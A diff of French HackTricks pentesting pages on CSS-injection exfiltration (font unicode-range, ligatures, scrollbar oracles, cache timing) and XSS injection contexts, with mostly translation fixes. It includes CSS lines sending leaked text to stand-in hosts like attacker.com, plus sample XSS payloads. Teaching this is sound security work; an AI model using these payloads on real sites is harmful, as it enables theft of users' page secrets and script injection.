Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:
|
||||||
|
@ -110,7 +110,7 @@ Pas de soucis, il suffit de vérifier la **sortie** car **vous pouvez y voir le
|
||||||
Autres façons d'accéder aux parties du DOM avec les **sélecteurs CSS** :
|
Autres façons d'accéder aux parties du DOM avec les **sélecteurs CSS** :
|
||||||
|
|
||||||
* **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
* **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
||||||
* **Sélecteur** `:empty` : Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
* Sélecteur **`:empty`** : Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||||
|
|
||||||
```css
|
```css
|
||||||
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); }
|
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); }
|
||||||
|
@ -145,19 +145,19 @@ font-family: 'poc';
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
1. **Utilisation de police personnalisée**:
|
1. **Utilisation de police personnalisée**:
|
||||||
- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `<style>` dans la section `<head>`.
|
- Une police personnalisée est définie en utilisant la règle `@font-face` dans une balise `<style>` dans la section `<head>`.
|
||||||
- La police est nommée `poc` et est récupérée à partir d'une adresse externe (`http://attacker.com/?leak`).
|
- La police est nommée `poc` et est récupérée à partir d'une adresse externe (`http://attacker.com/?leak`).
|
||||||
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
|
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
|
||||||
|
|
||||||
2. **Élément Objet avec Texte de Secours**:
|
2. **Élément Objet avec Texte de Secours**:
|
||||||
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
|
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
|
||||||
- La `font-family` pour cet élément est définie sur `'poc'`, tel que défini dans la section `<style>`.
|
- La `font-family` pour cet élément est définie sur `'poc'`, tel que défini dans la section `<style>`.
|
||||||
- Si la ressource (`favicon.ico`) échoue à se charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
|
- Si la ressource (`favicon.ico`) échoue à charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
|
||||||
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
|
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
|
||||||
|
|
||||||
### Style du Fragment de Texte de Défilement
|
### Style du Fragment de Texte de Défilement
|
||||||
|
|
||||||
Le pseudo-classe **`:target`** est utilisé pour sélectionner un élément ciblé par un **fragment d'URL**, tel que spécifié dans la [spécification CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
La pseudo-classe **`:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, tel que spécifié dans la [spécification CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
||||||
|
|
||||||
Une préoccupation en matière de sécurité survient lorsque les attaquants exploitent la fonctionnalité de fragment **Défilement vers le texte**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode implique d'injecter une règle CSS comme suit:
|
Une préoccupation en matière de sécurité survient lorsque les attaquants exploitent la fonctionnalité de fragment **Défilement vers le texte**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode implique d'injecter une règle CSS comme suit:
|
||||||
```css
|
```css
|
||||||
|
@ -173,7 +173,7 @@ Pour atténuer, les points suivants doivent être notés :
|
||||||
|
|
||||||
1. **Correspondance STTF Contrainte** : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.
|
1. **Correspondance STTF Contrainte** : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.
|
||||||
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
||||||
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions et des contournements spécifiques (par ex., ingénierie sociale, interaction avec des extensions de navigateur prédominantes) qui pourraient faciliter l'automatisation de l'attaque.
|
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions et des contournements spécifiques (par exemple, l'ingénierie sociale, l'interaction avec des extensions de navigateur prédominantes) qui pourraient faciliter l'automatisation de l'attaque.
|
||||||
|
|
||||||
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
|
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
|
||||||
|
|
||||||
|
@ -212,31 +212,31 @@ font-family:poc;
|
||||||
|
|
||||||
**Référence:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
**Référence:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||||
|
|
||||||
La technique décrite implique d'extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes:
|
La technique décrite implique d'extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes :
|
||||||
|
|
||||||
1. **Création de polices personnalisées**:
|
1. **Création de polices personnalisées** :
|
||||||
- Les polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.
|
- Les polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.
|
||||||
- Exemple de glyphe SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" désigne une séquence de deux caractères.
|
- Exemple de glyphe SVG : `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" désigne une séquence de deux caractères.
|
||||||
- Ces polices sont ensuite converties au format woff en utilisant fontforge.
|
- Ces polices sont ensuite converties au format woff en utilisant fontforge.
|
||||||
|
|
||||||
2. **Détection des changements de largeur**:
|
2. **Détection des changements de largeur** :
|
||||||
- Le CSS est utilisé pour s'assurer que le texte ne se coupe pas (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
|
- Le CSS est utilisé pour s'assurer que le texte ne se coupe pas (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
|
||||||
- L'apparition d'une barre de défilement horizontale, stylisée de manière distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
|
- L'apparition d'une barre de défilement horizontale, stylisée de manière distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
|
||||||
- Le CSS impliqué:
|
- Le CSS impliqué :
|
||||||
```css
|
```css
|
||||||
body { white-space: nowrap };
|
body { white-space: nowrap };
|
||||||
body::-webkit-scrollbar { background: blue; }
|
body::-webkit-scrollbar { background: blue; }
|
||||||
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Processus d'exploitation**:
|
3. **Processus d'exploitation** :
|
||||||
- **Étape 1**: Des polices sont créées pour des paires de caractères avec une largeur importante.
|
- **Étape 1** : Des polices sont créées pour des paires de caractères avec une largeur importante.
|
||||||
- **Étape 2**: Une astuce basée sur la barre de défilement est utilisée pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
|
- **Étape 2** : Une astuce basée sur la barre de défilement est utilisée pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
|
||||||
- **Étape 3**: Après avoir détecté une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
|
- **Étape 3** : Après avoir détecté une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
|
||||||
- **Étape 4**: La détection de la ligature de trois caractères est effectuée.
|
- **Étape 4** : La détection de la ligature de trois caractères est effectuée.
|
||||||
- **Étape 5**: Le processus se répète, révélant progressivement tout le texte.
|
- **Étape 5** : Le processus se répète, révélant progressivement tout le texte.
|
||||||
|
|
||||||
4. **Optimisation**:
|
4. **Optimisation** :
|
||||||
- La méthode d'initialisation actuelle utilisant `<meta refresh=...` n'est pas optimale.
|
- La méthode d'initialisation actuelle utilisant `<meta refresh=...` n'est pas optimale.
|
||||||
- Une approche plus efficace pourrait impliquer l'astuce `@import` en CSS, améliorant les performances de l'exploit.
|
- Une approche plus efficace pourrait impliquer l'astuce `@import` en CSS, améliorant les performances de l'exploit.
|
||||||
|
|
||||||
|
@ -244,14 +244,14 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
||||||
|
|
||||||
**Référence:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
**Référence:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||||
|
|
||||||
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être divulgué **en utilisant les polices par défaut** installées dans le navigateur: aucune police externe -ou personnalisée- n'est nécessaire.
|
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être divulgué **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe -ou personnalisée- n'est nécessaire.
|
||||||
|
|
||||||
Le concept repose sur l'utilisation d'une animation pour étendre progressivement la largeur d'un `div`, permettant à un caractère à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections:
|
Le concept repose sur l'utilisation d'une animation pour étendre progressivement la largeur d'un `div`, permettant à un caractère à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections :
|
||||||
|
|
||||||
1. **Préfixe**: La ligne initiale.
|
1. **Préfixe** : La ligne initiale.
|
||||||
2. **Suffixe**: La ou les lignes suivantes.
|
2. **Suffixe** : La ou les lignes suivantes.
|
||||||
|
|
||||||
Les étapes de transition des caractères apparaîtraient comme suit:
|
Les étapes de transition des caractères apparaîtraient comme suit :
|
||||||
|
|
||||||
**C**\
|
**C**\
|
||||||
ADB
|
ADB
|
||||||
|
@ -264,17 +264,16 @@ B
|
||||||
|
|
||||||
**CADB**
|
**CADB**
|
||||||
|
|
||||||
|
Pendant cette transition, le **tour de magie de la plage unicode** est utilisé pour identifier chaque nouveau caractère lorsqu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
|
||||||
|
|
||||||
Pendant cette transition, le **tour de magie de la plage unicode** est utilisé pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
|
Bien que cette méthode permette de détecter les caractères uniques au fur et à mesure de leur apparition, elle ne spécifie pas quel caractère est répété, seulement qu'une répétition s'est produite.
|
||||||
|
|
||||||
Bien que cette méthode permette la détection des caractères uniques au fur et à mesure de leur apparition, elle ne spécifie pas quel caractère est répété, seulement qu'une répétition s'est produite.
|
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Essentiellement, l'**unicode-range est utilisé pour détecter un caractère**, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre solution.\
|
Essentiellement, l'**unicode-range est utilisé pour détecter un caractère**, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre solution.\
|
||||||
Lorsque le **caractère** est **trouvé**, il est **attribué** à la police **Comic Sans préinstallée**, ce qui le **rend plus grand** et **déclenche une barre de défilement** qui va **divulguer le caractère trouvé**.
|
Lorsque le **caractère** est **trouvé**, il est **attribué** à la **police Comic Sans préinstallée**, ce qui le **rend plus grand** et **déclenche une barre de défilement** qui va **divulguer le caractère trouvé**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Vérifiez le code extrait du PoC:
|
Vérifiez le code extrait du PoC :
|
||||||
```css
|
```css
|
||||||
/* comic sans is high (lol) and causes a vertical overflow */
|
/* comic sans is high (lol) and causes a vertical overflow */
|
||||||
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||||||
|
@ -399,13 +398,13 @@ div::-webkit-scrollbar:vertical {
|
||||||
background: blue var(--leak);
|
background: blue var(--leak);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent à l'intérieur du texte.
|
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
|
||||||
|
|
||||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par temporisation de cache (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par temporisation du cache (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
|
@ -442,7 +441,7 @@ browser.get(url)
|
||||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||||
time.sleep(30)
|
time.sleep(30)
|
||||||
```
|
```
|
||||||
Donc, en supposant que la police ne corresponde pas, le temps pour obtenir la réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, une série de requêtes sera envoyée pour obtenir la police, et le réseau aura toujours quelque chose, donc il faudra plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.
|
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, provoquant une activité continue sur le réseau. En conséquence, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Par conséquent, le temps de réponse peut être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -459,7 +458,7 @@ Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||||
|
|
||||||
**Conseil de prime de bug**: **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
**Conseil de prime de bug**: **Inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
|
||||||
### HTML brut
|
### HTML brut
|
||||||
|
|
||||||
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** pour exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** pour exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||||
Gardez également à l'esprit [Injection de Modèle Côté Client](../client-side-template-injection-csti.md).
|
Gardez également à l'esprit [l'Injection de Modèle Côté Client](../client-side-template-injection-csti.md).
|
||||||
|
|
||||||
### À l'intérieur de l'attribut des balises HTML
|
### À l'intérieur de l'attribut des balises HTML
|
||||||
|
|
||||||
|
@ -62,7 +62,7 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
|
||||||
|
|
||||||
1. De **sortir de l'attribut et de la balise** (ensuite vous serez dans le HTML brut) et créer une nouvelle balise HTML pour abuser : `"><img [...]`
|
1. De **sortir de l'attribut et de la balise** (ensuite vous serez dans le HTML brut) et créer une nouvelle balise HTML pour abuser : `"><img [...]`
|
||||||
2. Si vous **pouvez sortir de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), en fonction de la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
2. Si vous **pouvez sortir de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), en fonction de la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
|
||||||
3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors en fonction de **quel attribut** votre valeur est réfléchie et si vous contrôlez toute la valeur ou juste une partie, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter un code arbitraire lorsqu'il est cliqué. Un autre exemple intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter un code arbitraire : **`href="javascript:alert(1)"`**
|
3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors en fonction de **quel attribut** votre valeur est réfléchie et si vous contrôlez toute la valeur ou juste une partie, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||||
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
### À l'intérieur du code JavaScript
|
### À l'intérieur du code JavaScript
|
||||||
|
@ -75,7 +75,7 @@ Dans ce cas, votre entrée est réfléchie entre les balises **`<script> [...] <
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
* Si elle est réfléchie à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
* Si elle est réfléchie à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||||
* L'encodage **Unicode** fonctionne pour écrire du **code JavaScript valide**:
|
* L'**encodage Unicode** fonctionne pour écrire du **code JavaScript valide**:
|
||||||
```javascript
|
```javascript
|
||||||
\u{61}lert(1)
|
\u{61}lert(1)
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
|
@ -124,7 +124,7 @@ Par conséquent, afin d'**exploiter cette vulnérabilité dans un DOM différent
|
||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
Il y a du **code JS** qui utilise de manière **non sécurisée** des données contrôlées par un attaquant comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
|
Il y a du **code JS** qui utilise de manière **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
|
@ -132,7 +132,7 @@ Il y a du **code JS** qui utilise de manière **non sécurisée** des données c
|
||||||
|
|
||||||
### **XSS Universel**
|
### **XSS Universel**
|
||||||
|
|
||||||
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers** arbitraires sur les clients et les serveurs, et plus encore.\
|
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||||
Quelques **exemples** :
|
Quelques **exemples** :
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
|
@ -147,28 +147,28 @@ Quelques **exemples** :
|
||||||
|
|
||||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||||||
|
|
||||||
## Injection dans du HTML brut
|
## Injection à l'intérieur du HTML brut
|
||||||
|
|
||||||
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas vous pourrez exploiter ce cas**.\
|
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas vous pourrez exploiter ce cas**.\
|
||||||
Pour ces cas, gardez également à l'esprit [**l'Injection de Modèles Côté Client**](../client-side-template-injection-csti.md)**.**\
|
Pour ces cas, gardez également à l'esprit [**l'Injection de Modèles Côté Client**](../client-side-template-injection-csti.md)**.**\
|
||||||
_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_
|
_**Remarque : Un commentaire HTML peut être fermé en utilisant `-->` ou `--!>`**_
|
||||||
|
|
||||||
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
|
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
|
||||||
```javascript
|
```html
|
||||||
